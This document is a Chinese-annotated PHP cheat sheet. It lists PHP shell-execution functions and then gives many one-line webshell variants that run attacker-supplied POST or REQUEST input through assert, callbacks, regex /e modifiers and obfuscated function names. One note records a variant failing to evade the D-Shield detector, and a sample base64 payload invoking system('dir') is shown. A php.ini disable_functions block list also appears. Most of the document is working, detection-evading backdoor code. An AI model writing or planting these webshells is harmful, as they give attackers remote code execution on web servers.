string exec ( string $command [, array &$output [, int &$return_var ]] )

string system ( string $command [, int &$return_var ] )

<?php
	system("whoami");
?>

void passthru ( string $command [, int &$return_var ] )

<?php
	passthru("whoami");
?>

string shell_exec( string &command)

<?php
	echo shell_exec("whoami");
?>

<?php
	echo `whoami`;
?>

resource popen ( string $command , string $mode )

<?php popen( 'whoami >> 1.txt', 'r' ); ?>

resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
)

<?php  
$test = "ipconfig";  
$array =   array(  
 array("pipe","r"),   //标准输入  
 array("pipe","w"),   //标准输出内容  
 array("pipe","w")    //标准输出错误  
 );  
  
$fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1]，因为1是输出内容  stream_get_contents — 读取资源流到一个字符串
proc_close($fp);  
?>

disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

$f='assert';
$f(...);
#未过D盾

substr(string,start,length)

<?php 
    $a = 'a'.'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']); 
?>

<?php 
    $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>

strtr(string,from,to)

<?php 
    $a = strtr('azxcvt','zxcv','sser');
    $a($_POST['x']);
?>

substr_replace(string,replacement,start,length)

<?php 
    $a = substr_replace("asxxx","sert",2);
    $a($_POST['x']);
?>  

trim(string,charlist)

<?php 
    $a = trim(' assert ');
    $a($_POST['x']);
?>

<?php 
    function sqlsec($a){
        $a($_POST['x']);
    }
    sqlsec(assert);
?>

<?php 
    function sqlsec($a){
        assert($a);
    }
    sqlsec($_POST['x']);
?>

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

<?php
    call_user_func('assert',$_POST['x']);
?>

call_user_func_array ( callable $callback , array $param_arr )

<?php
    call_user_func_array(assert,array($_POST['x']));
?>

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

<?php
    array_filter(array($_POST['x']),'assert');
?>

<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'],);
    array_filter($arr, base64_decode($e));
?>

array_map(myfunction,array1,array2,array3...)

<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'],);
    array_map(base64_decode($e), $arr);
?>
    # payload  e=YXNzZXJ0&pass=system('dir');

array_walk(array,myfunction,parameter...)

<?php
function myfunction($value,$key)
{
    echo "The key $key has the value $value<br>";
}
$a=array("a"=>"red","b"=>"green","c"=>"blue");
array_walk($a,"myfunction");
?>

The key a has the value red
The key b has the value green
The key c has the value blue

<?php
    function sqlsec($value,$key)
    {   
        $x = $key.$value;
        $x($_POST['x']);
    }
    $a=array("ass"=>"ert");
    array_walk($a,"sqlsec");
?>

<?php 
  $e = $_REQUEST['e'];
  $arr = array($_POST['x'] => '|.*|e',);
    array_walk($arr, $e, '');
?>

shell.php?e=preg_replace

preg_replace('|.*|e',$_POST['x'],'')

mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string

<?php 
    mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
?>

mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

<?php 
    preg_filter('|\d|e', $_REQUEST['x'], '2');
?>

<?php 
    mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
?>

array_walk_recursive(array,myfunction,parameter...)

<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'] => '|.*|e',);
    array_walk_recursive($arr, $e, '');
?>

array_reduce(array,myfunction,initial)

<?php
    $e = $_REQUEST['e'];
    $arr = array(1);
    array_reduce($arr, $e, $_POST['x']);
?>
    
<?php
    function sqlsec($value,$key)
    {   
        $x = $key.$value;
        print_r($x);
        $x($_POST['x']);
    }
    $a=array("assert");
    array_reduce($a,"sqlsec");
?>

array_diff(array1,array2,myfunction...);

<?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['x']);
    $arr2 = array(1);
    array_udiff($arr, $arr2, $e);
?>

uasort(array,myfunction);

<?php
    $e = $_REQUEST['e'];
    $arr = array('test', $_REQUEST['x']);
    uasort($arr, base64_decode($e));
?>

uksort(array,myfunction);

<?php
    $e = $_REQUEST['e'];
    $arr = array('test' => 1, $_REQUEST['x'] => 2);
    uksort($arr, $e);
?>

register_shutdown_function ( callable $callback [, mixed $... ] ) : void

<?php
    $e = $_REQUEST['e'];
    register_shutdown_function($e, $_REQUEST['x']);
?>

register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool

<?php
    $e = $_REQUEST['e'];
    declare(ticks=1);
    register_tick_function ($e, $_REQUEST['x']);
?>
    #上面程序中“declare(ticks=1);”代表，每执行一条低级语句，就触发register_tick_function中注册的函数

filter_var(variable, filter, options)

<?php
    filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
?>

filter_var_array(array, args)

<?php
    filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
?>

<?php 
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $a($_POST['x']);
?>

1.array_filter
2.array_map
3.array_udiff
4.array_walk
5.array_walk_recursive
6.call_user_func
7.call_user_func_array
8.filter_var
9.register_shutdown_function
10.register_tick_function
11.uasort